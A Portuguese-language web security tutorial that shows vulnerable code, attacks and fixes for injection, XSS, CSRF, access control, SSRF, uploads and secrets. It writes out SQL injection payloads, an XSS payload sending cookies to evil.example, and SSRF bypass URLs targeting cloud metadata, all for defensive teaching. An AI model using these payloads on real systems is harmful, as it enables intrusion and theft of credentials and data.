CS Fundamentals Trainer · Guias
Segurança de aplicações web: injeção, XSS, CSRF e segredos
Injeção, cross-site scripting, CSRF, controle de acesso quebrado, path traversal, SSRF, desserialização insegura e segredos vazados, cada um mostrado com o código vulnerável, o ataque e a correção, além de cadeia de suprimentos, cabeçalhos e resposta.
51 min de leitura
A maioria das falhas de segurança em aplicações web não é exótica. São os mesmos poucos erros repetidos: tratar a entrada como confiável, esquecer de conferir quem tem permissão para fazer o quê e deixar segredos onde podem ser encontrados. A boa notícia é que cada um tem uma defesa padrão, e conhecer as cinco ou seis que importam cobre a maior parte do risco realista de uma aplicação comum.
Este guia trata os ataques comuns um de cada vez e, para cada um, mostra o código vulnerável, o ataque e a correção. Escrevi um pequeno programa em Python, intencionalmente vulnerável (o código está no apêndice), e executei os ataques contra ele, então as saídas abaixo são reais, exceto a tabela de CSRF, que é um modelo das regras de cookies do navegador e diz isso. A autenticação em si (senhas, sessões, tokens) tem um guia próprio: autenticação e sessões. Teste ataques apenas em sistemas que você possui ou que tem permissão para testar.
1. A mentalidade
Fronteiras de confiança
Uma fronteira de confiança é um lugar onde os dados passam de algo que você não controla para algo que você controla. Tudo o que a atravessa é não confiável até ser validado: campos de formulário, query strings, cabeçalhos e cookies, arquivos enviados, corpos JSON, dados de outros serviços, até linhas do seu próprio banco de dados que vieram de usuários antes. A maioria das vulnerabilidades abaixo é um único erro: dados não confiáveis atravessando uma fronteira e sendo interpretados (como SQL, como HTML, como um caminho de arquivo, como código) em vez de tratados como dados simples.
Diagram: Where untrusted data becomes dangerous
Princípios
- Nunca confie no cliente. A validação no navegador é uma comodidade; toda regra precisa ser imposta no servidor.
- Defesa em profundidade. Suponha que qualquer controle isolado vai falhar e empilhe-os: consultas parametrizadas e uma conta de banco de dados com privilégio mínimo e monitoramento.
- Privilégio mínimo. Cada componente, conta e token recebe só o que precisa. O usuário de banco de dados de uma aplicação web não deveria poder fazer
DROP TABLE. - Seguro por padrão e negar por padrão. Um endpoint novo fica fechado até alguém abri-lo; uma permissão ausente significa "não".
- Faça do caminho seguro o caminho fácil: frameworks e bibliotecas que escapam e parametrizam automaticamente vencem a disciplina em cada linha de código.
A modelagem de ameaças é perguntar, antes de construir, o que estamos protegendo, quem poderia atacar e como? A lista de verificação STRIDE (Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege) é um roteiro simples para cada componente e fluxo de dados. Você não precisa de um modelo perfeito; uma hora com o diagrama em um quadro branco acha as falhas óbvias.
O OWASP Top 10 é o catálogo padrão dos riscos web mais comuns. Na edição de 2021, a lista é: controle de acesso quebrado, falhas criptográficas, injeção, design inseguro, configuração de segurança incorreta, componentes vulneráveis e desatualizados, falhas de identificação e autenticação, falhas de integridade de software e dados, falhas de registro e monitoramento e server-side request forgery (confira o site da OWASP para a edição atual). As seções abaixo cobrem a maioria deles.
2. Injeção
A injeção acontece quando a aplicação monta um comando ou consulta colando texto não confiável nele, de modo que os dados podem mudar a estrutura. O SQL é o caso clássico.
def login(name, pw):
q = f"SELECT name, is_admin FROM users WHERE name = '{name}' AND pw = '{pw}'"
return db.execute(q).fetchall()
Executei isto contra uma tabela com um usuário comum e um administrador, e comparei com a versão parametrizada. A primeira coluna é o que a função vulnerável devolveu, a segunda o que a segura devolveu:
| Usuário | Senha | O código vulnerável devolve | A parametrizada devolve |
|---|---|---|---|
alice | s3cret! | alice | alice |
alice | wrong | nada | nada |
admin' -- | x | admin (is_admin = 1) | nada |
x | ' OR '1'='1 | todos os usuários, inclusive o administrador | nada |
x | ' UNION SELECT value, 1 FROM secrets -- | o conteúdo de outra tabela: api-key-123 | nada |
x'; DROP TABLE users; -- | x | erro | nada |
A terceira linha entrou como administrador sem senha: a aspa fechou a string, e -- transformou o resto da consulta, inclusive a verificação da senha, em um comentário. A quarta tornou a condição sempre verdadeira. A quinta usou UNION para ler dados de uma tabela que a consulta de login nunca tocava. A última tentou executar um segundo statement; o driver do SQLite se recusa a executar dois statements de uma vez, o que é uma propriedade desse driver, e muitos drivers de banco de dados permitem consultas empilhadas, então não conte com isso. Percorra passo a passo o primeiro ataque e a correção:
Interactive animation: sql injection
A correção: parâmetros
def login(name, pw):
return db.execute("SELECT name, is_admin FROM users WHERE name = ? AND pw = ?", (name, pw)).fetchall()
Com uma consulta parametrizada (prepared statement), o texto SQL e os valores viajam separados. O banco de dados faz o parse do texto primeiro, então sua estrutura está fixada, e os valores só são comparados como dados. Todos os ataques da tabela falharam, porque para o banco de dados eram apenas nomes de usuário incomuns. Regras que acompanham isso:
- Nunca monte SQL com formatação ou concatenação de strings, inclusive para
LIMIT,ORDER BYe nomes de tabelas ou colunas. Parâmetros não podem representar identificadores, então para estes use uma allowlist (mapeie a escolha do usuário para um conjunto fixo de nomes de colunas conhecidos). - ORMs e query builders parametrizam por você, até que você use a saída de emergência "raw" com formatação de strings.
- Privilégio mínimo para a conta do banco de dados: sem
DROP, sem acesso a tabelas que a aplicação não usa, contas separadas de leitura e escrita onde importa. Assim uma injeção bem-sucedida tem um raio de impacto limitado. - Injeção de segunda ordem: dados armazenados com segurança e depois colados em uma consulta por outro trecho de código. Parametrize em todo lugar, não só no ponto de entrada.
- Nunca guarde senhas em texto puro (a tabela de brinquedo acima guarda, para manter a demonstração curta). Veja o guia de autenticação para o hashing.
O mesmo padrão aparece em outros interpretadores: injeção de comandos do SO (os.system("convert " + filename): use uma lista de argumentos e nenhum shell), operadores NoSQL em consultas JSON, LDAP, XPath, injeção de template e injeção de cabeçalhos. A cura é sempre a mesma: mantenha dados e código separados, ou valide contra uma allowlist estrita quando não puder.
3. Cross-site scripting (XSS)
O XSS é injeção no navegador: texto controlado pelo atacante acaba na sua página como HTML ou JavaScript, roda com os privilégios do seu site e pode ler a página, agir como o usuário e roubar tudo o que não esteja protegido de scripts. Os três tipos são armazenado (guardado pela aplicação e mostrado a outros usuários, como um comentário), refletido (devolvido a partir da requisição, como um termo de busca em uma página de erro) e baseado em DOM (código no cliente escreve dados não confiáveis na página, por exemplo por innerHTML).
Um comentário contendo <img src=x onerror="fetch('//evil.example/?c='+document.cookie)"> inserido cru na página produz uma tag de imagem que falha ao carregar e executa o script, enviando o cookie embora. Veja como fica a mesma saída com a codificação certa para cada lugar onde o texto pode cair:
| Onde o texto vai | Errado | Certo |
|---|---|---|
| Corpo HTML | <p> + texto cru + </p> | <img src=x onerror="fetch(...)">: escape HTML de < > & " ' |
| Atributo HTML, entre aspas | <input value=" + cru + "> em que o texto é " onmouseover="alert(1) dá value="" onmouseover="alert(1)" | value="" onmouseover="alert(1)" |
<script> embutido | var name = '</script><script>alert(1)</script>'; fecha o script e começa outro | codifique em JSON e escape < como <: var name = "</script><script>alert(1)</script>"; |
| URL | uma URL javascript: em um href | permita apenas http: e https: (uma allowlist de esquemas) |
A ideia central é a codificação de saída sensível ao contexto: o escape correto depende de onde o dado é colocado (HTML, um atributo, JavaScript, CSS, uma URL), então não existe uma função que sirva em todo lugar. Regras práticas:
- Use um framework que escapa por padrão (React, Vue, Angular e a maioria dos motores de template do servidor fazem isso) e trate as saídas de emergência como perigosas:
dangerouslySetInnerHTML,v-html,innerHTML,|safe,Html.Raw. - Se os usuários precisam fornecer HTML (um editor de texto rico), sanitize-o na saída com uma biblioteca mantida e baseada em allowlist (como o DOMPurify), e não com expressões regulares próprias.
- Defina os cookies como
HttpOnlypara que um script não possa ler o cookie de sessão, o que limita o que um XSS pode roubar (ele ainda pode agir como o usuário, de dentro da página). - Adicione uma Content Security Policy (CSP) como segunda camada: por exemplo,
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'faz o navegador recusar scripts embutidos e scripts de outras origens, então a maioria das cargas injetadas não faz nada. Lance-a primeiro em modo somente relatório. - Nunca ponha dados não confiáveis na página montando strings HTML em JavaScript; use
textContente as APIs do DOM.
4. Cross-site request forgery (CSRF)
Se o seu site autentica com um cookie, o navegador anexa esse cookie a toda requisição ao seu domínio, inclusive às requisições iniciadas por outro site. Uma página maliciosa pode conter um formulário que envia um POST para https://bank.example/transfer; o navegador envia o cookie da vítima, e o banco não consegue distinguir a requisição de uma genuína. O CSRF abusa dessa autoridade ambiente.
Modelei a regra do navegador para enviar cookies e as verificações do servidor, e perguntei quais requisições que mudam estado seriam aceitas. (Isto é um modelo das regras, não um navegador de verdade.)
| Requisição | Sem proteção | Cookie SameSite=Lax | SameSite=Lax mais token CSRF | Token CSRF, qualquer SameSite | Verificação de Origin |
|---|---|---|---|---|---|
POST de formulário vindo de evil.example | aceita | rejeitada (cookie não enviado) | rejeitada | rejeitada (token ruim) | rejeitada (origem estrangeira) |
um link ou redirecionamento (GET) de evil.example para /transfer?to=x | aceita | aceita | rejeitada (token ruim) | rejeitada | aceita (não há origin em uma navegação) |
o formulário real em bank.example | aceita | aceita | aceita | aceita | aceita |
O que tirar disso:
SameSite=Lax(o padrão nos navegadores modernos quando o atributo não é definido) já impede que POSTs entre sites carreguem o cookie;Strictimpede cookies em todas as requisições entre sites, ao custo de alguma usabilidade (links vindos de outros sites chegam sem login).- Uma ação que muda estado nunca deve ser um GET. Cookies Lax são enviados com navegações GET de nível superior, então uma transferência atrás de um link GET ainda pode ser forjada.
- Tokens CSRF: um valor imprevisível ligado à sessão, que a página inclui em toda requisição que muda estado (um campo oculto de formulário ou um cabeçalho), conferido no servidor. Os frameworks o fornecem; o "double-submit cookie" e o "synchroniser token" são as formas usuais.
- Confira o
Origin(e oSec-Fetch-Site) nas requisições que mudam estado como uma camada adicional. - "SameSite" é diferente de "mesma origem". Dois subdomínios do mesmo domínio registrável são o mesmo site, então um subdomínio vulnerável ainda pode forjar requisições para os irmãos; veja a discussão no guia de autenticação.
- CORS não é proteção contra CSRF. O CORS controla se uma página pode ler uma resposta de outra origem; um POST simples de formulário entre origens é enviado de qualquer modo. As APIs que autenticam com um bearer token em um cabeçalho (não um cookie) não são afetadas pelo CSRF, porque o navegador não anexa esse cabeçalho automaticamente.
5. Controle de acesso quebrado
A falha séria mais comum da lista da OWASP é também a mais banal: a aplicação confere que você está logado, mas não que você tem permissão para tocar este objeto.
@app.get("/invoices/{id}")
def get_invoice(id, user):
return db.query("SELECT * FROM invoices WHERE id = ?", id) # any logged-in user can read any invoice
Um atacante simplesmente troca 1234 por 1235 na URL. Isso se chama referência direta insegura a objeto (IDOR), ou autorização quebrada em nível de objeto (BOLA) no vocabulário de APIs. A correção é fazer a posse fazer parte da consulta, de modo que a pergunta seja "a fatura com este id que pertence a este usuário":
return db.query("SELECT * FROM invoices WHERE id = ? AND owner_id = ?", id, user.id) # not yours: 404
Regras:
- Autorize a cada requisição, no servidor, para cada objeto e cada ação: ler, alterar, apagar, e também funções ("somente admin") e campos (um usuário pode editar o próprio nome, mas não o seu
role; cuidado com a atribuição em massa (mass assignment), em que um corpo JSON é copiado inteiro para um modelo). - Negue por padrão; centralize as verificações em uma camada (middleware, objetos de política, row-level security) em vez de espalhar comandos
if. - Ids imprevisíveis (UUIDs) dificultam a enumeração, mas não são controle de acesso. Confira sempre a posse.
- Em um sistema multi-tenant, o tenant precisa fazer parte de toda consulta (projetando um sistema multi-tenant).
- Devolva 404 em vez de 403 para objetos cuja existência o usuário nem deve saber.
- Teste: para cada endpoint, um teste que entra como o usuário B e pede os objetos do usuário A.
5.1 Uma matriz de testes de autorização para acesso a objetos e isolamento entre tenants
"Teste que o usuário B não consegue ler os objetos do usuário A" é fácil de escrever uma vez e fácil de esquecer no próximo endpoint. Uma matriz torna o teste sistemático: liste os atores, as ações e os objetos, declare a política como dados e gere todas as combinações. Montei uma para uma pequena API de faturas com dois tenants (script no apêndice; um cliente de teste do Flask, sem rede):
| Dimensão | Valores |
|---|---|
| Atores | alice e bob (membros do tenant T1), carol (admin de T1), dave (membro de T2), erin (admin de T2) e um visitante anônimo |
| Objetos | fatura 1 (de alice, T1), fatura 2 (de bob, T1), fatura 3 (de dave, T2) |
| Ações | ler, atualizar, excluir, listar, criar (com um cliente do próprio tenant ou de outro), funções administrativas (listar usuários, mudar um papel) |
| Política | um membro pode agir sobre as próprias faturas; um admin, sobre todas as faturas do seu tenant; ninguém, sobre os dados de outro tenant |
As expectativas são estritas, não apenas "negado": o anônimo recebe 401; um objeto de outro tenant deve dar exatamente 404, para que a resposta não revele que ele existe; o objeto de outro usuário no mesmo tenant dá 403 ou 404; cada listagem deve conter exatamente as faturas que a política permite; e uma atualização não pode conseguir mudar owner ou tenant (mass assignment). São 95 verificações. Contra o app correto, as 95 passam. Depois liguei, uma de cada vez, sete falhas realistas e contei as verificações que falharam:
| Falha injetada | Verificações que falham | Como é a primeira falha |
|---|---|---|
| a leitura verifica o tenant, mas não o dono | 2 | alice lê a fatura de bob (200) |
| listar e ler ignoram o tenant para admins | 11 | carol (admin de T1) lê a fatura de dave em T2 |
| a atualização copia todos os campos do corpo (mass assignment) | 1 | a atualização de alice moveu a fatura para bob e para o tenant T2 |
| excluir permite que um admin exclua entre tenants | 3 | carol exclui a fatura de dave (204) |
| criar aceita um cliente de outro tenant | 5 | alice cria uma fatura para o cliente do tenant T2 |
| uma função administrativa sem a verificação de papel | 3 | alice lista os usuários |
| um admin pode mudar papéis em outro tenant | 5 | carol torna dave admin |
As sete foram detectadas, que é o que uma boa matriz deve fazer; uma falha que nenhum caso pega significa que a matriz tem uma lacuna. Práticas que fazem isso funcionar em uma base de código real:
- Gere os casos a partir de uma tabela, como acima, para que um novo endpoint acrescente linhas e não um novo teste escrito à mão. Acrescente um teste que falha quando existe uma rota que a matriz não conhece: o meu compara a tabela de rotas da aplicação com a lista de rotas cobertas.
- Declare a política uma vez, no teste, independente da implementação. A matriz confere o código contra a política; ela não diz que a política está certa, então peça a alguém que conhece o negócio para revisar a política.
- Cubra também a camada de dados: com row-level security, teste diretamente o papel do banco (design multi-tenant); com um job em segundo plano ou um relatório, rode as mesmas verificações entre tenants, porque esses caminhos costumam pular o middleware de requisição.
- Inclua IDs que o ator não deveria conhecer e IDs que existem. Os dois devem dar o mesmo 404.
- Rode contra um banco de verdade (ou um contêiner descartável), não contra mocks que devolvem o que o teste espera.
- Teste funções além de objetos (autorização quebrada em nível de função: um usuário comum chamando um endpoint de admin) e campos (mass assignment), como na tabela.
6. Arquivos, URLs e desserialização
Path traversal
Uma função que serve arquivos de uma pasta com os.path.join(base, name) confia em name. Criei uma pasta pública ao lado de um arquivo secreto e pedi alguns nomes:
| Nome pedido | Join ingênuo | Caminho resolvido conferido contra a pasta |
|---|---|---|
a.txt | público | público |
../secret.txt | TOP SECRET | 403 proibido |
/etc/hostname | o nome do host da máquina | 403 proibido |
..%2fsecret.txt (não decodificado) | erro | 404 |
A primeira linha de defesa é resolver o caminho final (seguindo .. e links simbólicos) e verificar que ele ainda está dentro do diretório pretendido; a segunda é usar identificadores (um id de banco de dados mapeado para um nome de arquivo armazenado) em vez de nomes fornecidos pelo usuário, e guardar os uploads fora da raiz web com um nome gerado, nunca confiando na extensão nem no tipo de conteúdo.
Server-side request forgery (SSRF)
Se o seu servidor busca uma URL fornecida pelo usuário (um webhook, uma pré-visualização de imagem, uma importação por URL), um atacante pode apontá-lo para coisas que só o servidor alcança: serviços internos, localhost ou o endpoint de metadados do provedor de nuvem (169.254.169.254), que pode entregar credenciais. Defesas: faça uma allowlist dos hosts que pretende chamar; resolva o nome e recuse endereços privados, de loopback e de link-local (confira de novo depois dos redirecionamentos, e contra DNS rebinding, conectando-se ao endereço que você conferiu); desative os redirecionamentos ou revalide cada um; execute essas buscas a partir de uma rede isolada sem acesso aos sistemas internos; e exija o serviço de metadados mais novo, baseado em token, nas instâncias de nuvem.
SSRF na prática: o endpoint de metadados da nuvem e os detalhes que vencem filtros simples
O perigo do SSRF é concreto. Em uma máquina virtual de nuvem, o endereço 169.254.169.254 (e fd00:ec2::254 na AWS por IPv6) serve os metadados da instância, incluindo credenciais temporárias do papel da máquina. Uma aplicação que busca uma URL fornecida pelo usuário pode ser levada a buscar esse endereço e devolver as credenciais ao atacante. As defesas funcionam em camadas, e a camada da aplicação sozinha não basta.
1. Na aplicação: verifique o endereço, não o texto. Um filtro sobre a string da URL ("contém 169.254?") é fácil de contornar. Escrevi a verificação sobre os endereços resolvidos e a executei em 19 entradas (só biblioteca padrão; DNS e HTTP trocados por stubs; script no apêndice). Uma foi permitida (um host público); 18 foram bloqueadas:
| Entrada | Por que um filtro de texto não a pega | Resultado |
|---|---|---|
http://169.254.169.254/latest/meta-data/... | (o caso simples) | bloqueada: link-local |
http://2852039166/ | o endereço escrito como um único número decimal | bloqueada: resolve para 169.254.169.254 |
http://0xa9.0xfe.0xa9.0xfe/ | octetos em hexadecimal | bloqueada |
http://127.1/ | um endereço de loopback abreviado | bloqueada: 127.0.0.1 |
http://[::ffff:169.254.169.254]/ | um endereço IPv4 dentro de IPv6 | bloqueada (o endereço mapeado é desembrulhado antes da verificação) |
http://[fd00:ec2::254]/ | o endereço IPv6 de metadados da AWS | bloqueada: unique-local |
http://evil.example/ | um nome cujo registro DNS aponta para 169.254.169.254 | bloqueada: verificada depois da resolução |
http://example.org@169.254.169.254/ | o texto antes de @ são credenciais, o host vem depois; os parsers divergem | bloqueada: credenciais em uma URL são recusadas |
http://100.64.0.1/ | faixa de NAT de operadora (carrier-grade), frequentemente interna | bloqueada: não é um endereço global |
http://example.org:6379/ | uma porta de banco de dados em um host público | bloqueada: só as portas 80 e 443 |
file:///etc/passwd, gopher://... | outros esquemas | bloqueada: só http e https |
As regras que o código segue: permitir apenas http e https em portas conhecidas; resolver o nome e exigir que todo endereço devolvido seja globalmente roteável (is_global do ipaddress, depois de desembrulhar o IPv6 mapeado de IPv4); conectar ao endereço que você verificou, e não ao nome de novo; repetir toda a verificação em cada redirecionamento.
A segunda e a terceira regras importam. Um nome de DNS rebinding responde com um endereço público quando você o verifica e com 169.254.169.254 um segundo depois, quando o cliente HTTP o resolve de novo para conectar: no script, a verificação viu 93.184.216.34, um cliente que resolveu de novo recebeu 169.254.169.254, e a versão segura, que conecta ao endereço verificado, não. Um redirecionamento de um host inofensivo para o endereço de metadados foi bloqueado porque o destino do redirecionamento passou pela mesma verificação.
2. Na máquina: torne o serviço de metadados mais difícil de alcançar (da documentação dos provedores; não foi executado aqui):
- AWS: exija o IMDSv2 (
HttpTokens=required). Ele precisa de um token obtido com uma requisiçãoPUTe enviado como cabeçalho nas requisições seguintes, o que um SSRF simples por um buscador que só fazGETnão consegue; a resposta do token tem um limite de saltos (hop limit) de 1 por padrão, então não atravessa um proxy nem uma rede de contêineres, a menos que isso seja alterado. Dê ao papel o menor privilégio, para que credenciais roubadas possam fazer pouco. - O Google Cloud exige o cabeçalho
Metadata-Flavor: Google; o Azure exigeMetadata: truee rejeita requisições que carregamX-Forwarded-For. Cabeçalhos são um quebra-molas contra SSRF ingênuo, não um substituto das verificações acima. - Kubernetes: os pods muitas vezes alcançam os metadados do nó; bloqueie
169.254.169.254com uma network policy ou com a configuração do provedor para as cargas que não precisam disso.
3. Na rede: controle a saída (egress). Execute os buscadores de URL em um processo ou segmento de rede separado, cuja saída seja limitada à internet e não alcance as faixas privadas nem o endereço de metadados; coloque um proxy de saída com lista de permissões na frente dos serviços que precisam chamar um conjunto fixo de hosts. Se a funcionalidade só precisa de alguns parceiros, coloque os nomes de host deles em uma lista de permissões e dispense o problema.
4. Torne a resposta inútil. Não devolva o corpo buscado ao usuário sem filtrar (um SSRF "cego" ainda varre a sua rede, mas devolver a resposta exfiltra os dados); valide que a busca de uma imagem realmente devolve uma imagem.
Tratando uploads de arquivos com segurança
Um upload é uma entrada não confiável de três formas: o nome, o conteúdo e o tamanho. O script do apêndice processa imagens e eu o alimentei com doze uploads:
| Upload | Resultado | A regra que decidiu |
|---|---|---|
| um PNG normal | aceito | |
shell.php, ou shell.png contendo PHP | recusado | lista de permissões de extensões (só png, jpg, gif); além disso, o conteúdo precisa mesmo começar com a assinatura do PNG |
evil.svg (com um script onload) | recusado | SVG é XML que pode carregar script; sirva-o apenas se o sanitizar, ou como download |
a.jpg que na verdade é um PNG | recusado | o tipo detectado pelo conteúdo deve coincidir com a extensão |
| um arquivo de 3 MB | recusado | limite de tamanho verificado antes de qualquer análise |
flood.png: 389 KB que declaram 20.000 × 20.000 pixels (400 megapixels, cerca de 400 MB depois de decodificado) | recusado | a contagem de pixels é lida do cabeçalho e verificada antes de decodificar (uma bomba de descompressão) |
um PNG válido com <?php ... ?> anexado depois da imagem (um poliglota) | aceito, mas o arquivo armazenado já não contém a carga | a imagem é recodificada: decodificar e gravar um arquivo novo mantém os pixels e descarta bytes finais e metadados |
| um JPEG com uma descrição EXIF (localização, câmera) | aceito; armazenado sem EXIF | a recodificação remove os metadados (privacidade, além de segurança) |
../../etc/cron.d/x.png, shell.php.png, x.png\0.php | armazenados com um nome aleatório (ou recusados pela extensão) | o nome armazenado é um identificador gerado; o nome do cliente nunca é usado como caminho |
Só a detecção pelo conteúdo aceitou o poliglota, o que mostra por que verificações nos bytes não bastam: recodificar é o passo forte, porque o que você guarda é o que a sua própria biblioteca produziu. Faça isso em um worker isolado (sandbox), com limites de memória e de tempo, já que as bibliotecas de imagem tiveram muitos bugs de segurança de memória.
A lista completa de práticas:
- Use uma lista de permissões de tipos e extensões; verifique o tipo real pelo conteúdo (assinatura ou um parser), não pelo cabeçalho
Content-Type, que o cliente escolhe. - Limite o tamanho no servidor web ou no proxy antes de a aplicação ler o corpo, e limite dimensões e total de pixels antes de decodificar. As bibliotecas têm seus próprios limites (o Pillow levanta um erro de bomba de descompressão acima de um limiar de pixels); use-os e defina os seus, mais baixos.
- Gere o nome armazenado (um identificador aleatório); guarde o nome original apenas como dado para exibir, com escape.
- Armazene fora da raiz web, em um armazenamento de objetos ou um diretório privado, sem permissão de execução. Nunca deixe o servidor web executar ou interpretar arquivos enviados.
- Sirva com cabeçalhos seguros:
Content-Typedefinido por você,X-Content-Type-Options: nosniffeContent-Disposition: attachmentpara tudo que não seja uma imagem exibida inline. Sirva os arquivos dos usuários a partir de um domínio separado (não um subdomínio que compartilhe cookies), para que um script em um arquivo enviado não alcance a sua sessão. - Arquivos compactados precisam de limites extras. Um zip de 194.519 bytes se expandiu para 200.000.000 de bytes (uma razão acima de 1000:1) no meu teste.
check_ziplimita o total declarado, a razão e os bytes realmente produzidos durante o streaming, porque os tamanhos de um cabeçalho podem mentir. Rejeite também entradas com..ou caminhos absolutos ao extrair (zip slip). - Faça varredura de malware onde os arquivos são compartilhados com outros usuários, e processe os uploads de forma assíncrona: aceite, varra e converta em um worker, e só então publique.
- Autorize os downloads como qualquer outro objeto (seção 5.1): uma URL impossível de adivinhar não é controle de acesso.
Desserialização insegura
Alguns formatos podem descrever objetos e código, não apenas dados. No Python, pickle.loads executa qualquer função que os bytes nomeiem: montei uma carga que o fazia chamar uma função da minha escolha (uma inofensiva que devolve o id do processo) ao ser carregada. Se os bytes viessem de um atacante, a função seria os.system. O json.loads do mesmo tipo de entrada só produz dados simples. A regra: nunca desserialize dados não confiáveis com um formato que possa instanciar tipos arbitrários (pickle, a serialização nativa do Java, o BinaryFormatter do .NET, o load do YAML com construtores completos); use JSON ou Protocol Buffers com um schema e valide o resultado.
7. Segredos
Um segredo é tudo o que concede acesso: senhas, chaves de API, tokens, chaves privadas, URLs de banco de dados. Eles vazam pelo controle de versão, logs, páginas de erro, imagens de contêiner, bundles no cliente, capturas de tela e mensagens de chat.
Criei um repositório, fiz commit de um arquivo contendo uma chave de API e depois fiz commit de uma mudança que a removia. A versão mais recente do arquivo está limpa, mas git log -S AKIAEXAMPLE achou a chave em ambos os commits: apagar um segredo do último commit não o remove do histórico. Qualquer pessoa que já clonou o repositório o tem. Então:
- Se um segredo vazar, rotacione-o (revogue e substitua), e só depois limpe. Trate-o como comprometido desde o momento em que foi exposto.
- Mantenha os segredos fora do código: leia-os do ambiente ou de um gerenciador de segredos (um serviço de nuvem, o HashiCorp Vault, segredos do Kubernetes com criptografia em repouso), injetados em tempo de execução. Mantenha o
.envfora do controle de versão e distribua um.env.examplecom valores falsos. - Procure por eles: hooks de pre-commit e verificações de CI (gitleaks, trufflehog, a varredura de segredos da plataforma) pegam uma chave antes de ela ser enviada.
- Nunca ponha segredos em código do cliente. Tudo o que está em um navegador ou em um bundle de aplicativo móvel é público; um "segredo" ali é apenas um identificador.
- Dê a todo segredo o privilégio mínimo e uma vida curta: chaves separadas por serviço e por ambiente, permissões com escopo, expiração e credenciais de curta duração de um serviço de identidade sempre que possível.
- Não os registre em logs. Oculte tokens, senhas, números de cartão e dados pessoais dos logs e traces (observabilidade tem a nota de privacidade).
- Compare segredos em tempo constante (
hmac.compare_digest) e guarde as senhas apenas como hashes lentos e com salt.
8. Dependências e a cadeia de suprimentos
Sua aplicação é feita, em sua maior parte, do código de outras pessoas. Uma vulnerabilidade em uma biblioteca (como o Log4Shell em 2021) ou um pacote malicioso (typosquatting, uma conta de mantenedor sequestrada) vira a sua vulnerabilidade.
- Fixe as versões com um arquivo de lock e atualize de forma deliberada e regular; automatize os pull requests (Dependabot, Renovate).
- Varra as dependências e as imagens de contêiner em busca de vulnerabilidades conhecidas no CI (
npm audit,pip-audit, Trivy) e decida quem faz a triagem dos resultados; um relatório ignorado não protege nada. - Prefira menos dependências, bem mantidas, e revise as novas (idade, mantenedores, scripts de instalação).
- Proteja o build: tokens de CI com privilégio mínimo, nenhum segredo em builds de pull requests vindos de forks, artefatos assinados e um SBOM (uma lista de componentes) para poder responder rápido "somos afetados?".
9. Transporte, cabeçalhos e configuração
- HTTPS em todo lugar com HSTS (
Strict-Transport-Security), para que os navegadores nunca tentem HTTP simples (TLS e HTTPS). - Cookies:
Secure,HttpOnly, umSameSitesensato e o prefixo__Host-para cookies de sessão. - Cabeçalhos de segurança que valem a pena:
Content-Security-Policy,X-Content-Type-Options: nosniff,Referrer-Policy,Permissions-Policyeframe-ancestorsna CSP (ouX-Frame-Options) contra clickjacking. - A configuração incorreta é uma das principais causas de incidentes: senhas padrão, modo de depuração em produção, buckets de armazenamento públicos, páginas de erro detalhadas com stack traces, consoles de administração abertos. Automatize a configuração (infraestrutura como código) e revise-a como código.
- As mensagens de erro para os usuários devem ser genéricas; os detalhes vão para os logs.
- Limite a taxa de logins e de outros endpoints sensíveis contra adivinhação e credential stuffing (projetando um rate limiter).
10. Detecção e resposta
A prevenção às vezes falha, então planeje perceber e responder: registre eventos de autenticação, falhas de controle de acesso e falhas de validação de entrada; alerte sobre padrões incomuns (muitos logins falhos, uma conta exportando muitos dados); mantenha logs de auditoria que a aplicação não possa alterar; tenha um plano escrito de resposta a incidentes (quem decide, como revogar acessos, como notificar usuários e reguladores); e pratique-o. Os padrões de resiliência do guia de resiliência também limitam o dano de um ataque que causa carga.
Testes de regressão de segurança no CI
Toda vulnerabilidade que você corrige, e toda classe que lhe preocupa, deve virar um teste que roda a cada mudança; senão ela volta na próxima refatoração. Ferramentas diferentes pegam coisas diferentes, então um pipeline as coloca em camadas:
| Camada | O que pega | Exemplos de ferramentas | Falhar o build quando |
|---|---|---|---|
| Testes de autorização e de abuso (código próprio) | verificações de dono ou de tenant ausentes, regras de SSRF e de upload, mass assignment | a matriz e os testes deste guia, executados com unittest ou pytest | qualquer verificação falhar |
| Análise estática (SAST) | padrões de injeção, funções inseguras, segredos fixos no código | Semgrep, CodeQL, Bandit (Python), regras de segurança do ESLint | um novo achado acima da severidade combinada |
| Varredura de dependências | vulnerabilidades conhecidas em bibliotecas (veja a seção 8, dependências e a cadeia de suprimentos) | pip-audit, npm audit, OSV-Scanner, Dependabot | uma versão vulnerável com correção disponível |
| Varredura de segredos | chaves e tokens commitados por engano | gitleaks, TruffleHog, a proteção de push da plataforma | qualquer segredo detectado (e rotacione-o) |
| Varredura de contêineres e infraestrutura | imagens base vulneráveis, configurações arriscadas em Dockerfiles, Terraform, Kubernetes | Trivy, Checkov | achados críticos |
| Varredura dinâmica (DAST) contra um deploy de teste | cabeçalhos ausentes, XSS refletido, redirecionamentos abertos, caminhos expostos | varredura de baseline do OWASP ZAP | novos alertas acima do limite |
Executei a primeira linha (os testes do apêndice): python3 -m unittest -v test_security rodou 11 testes em cerca de 2,7 segundos, todos passando: a matriz de 95 verificações, um teste de que a matriz detecta cada uma das sete falhas injetadas (um teste dos testes), um teste de que toda rota está coberta, e os casos de SSRF e de upload. Não executei aqui as ferramentas das outras linhas (não estavam instaladas e o sandbox não tinha acesso a pacotes); a lista reflete a documentação delas. Um workflow em um sistema de CI tem este aspecto (um esboço, não executado):
name: security
on: [pull_request]
jobs:
checks:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: python -m unittest discover -s tests -p "test_security*.py" -v # authorization matrix, SSRF, uploads
- run: pip-audit -r requirements.txt # known vulnerable dependencies
- run: semgrep scan --config auto --error # static analysis, fails on findings
- run: gitleaks detect --redact # secrets in the history
- run: trivy fs --severity CRITICAL,HIGH --exit-code 1 . # dependencies, Dockerfile, IaC
Hábitos que mantêm essas verificações úteis:
- Comece rigoroso apenas no código novo. Um scanner que relata 800 achados antigos acaba ignorado. Faça um baseline dos antigos, falhe nos novos e vá queimando os antigos conforme um calendário.
- Faça triagem e ajuste. Toda supressão precisa de um comentário e de um responsável, e expira; uma regra barulhenta é corrigida ou removida, não ignorada por todos.
- Um teste de regressão por vulnerabilidade corrigida, com o nome dela, que falha no código antigo. Prove isso rodando-o contra a versão anterior à correção.
- Fixe e revise o próprio pipeline: fixe as actions de terceiros em um commit, dê ao job de CI o menor privilégio e mantenha os segredos de deploy fora dos builds de pull requests vindos de forks.
- Rode os lentos (DAST, varreduras completas) à noite ou antes do release, e os rápidos (testes, varredura de segredos, auditoria de dependências) em cada pull request.
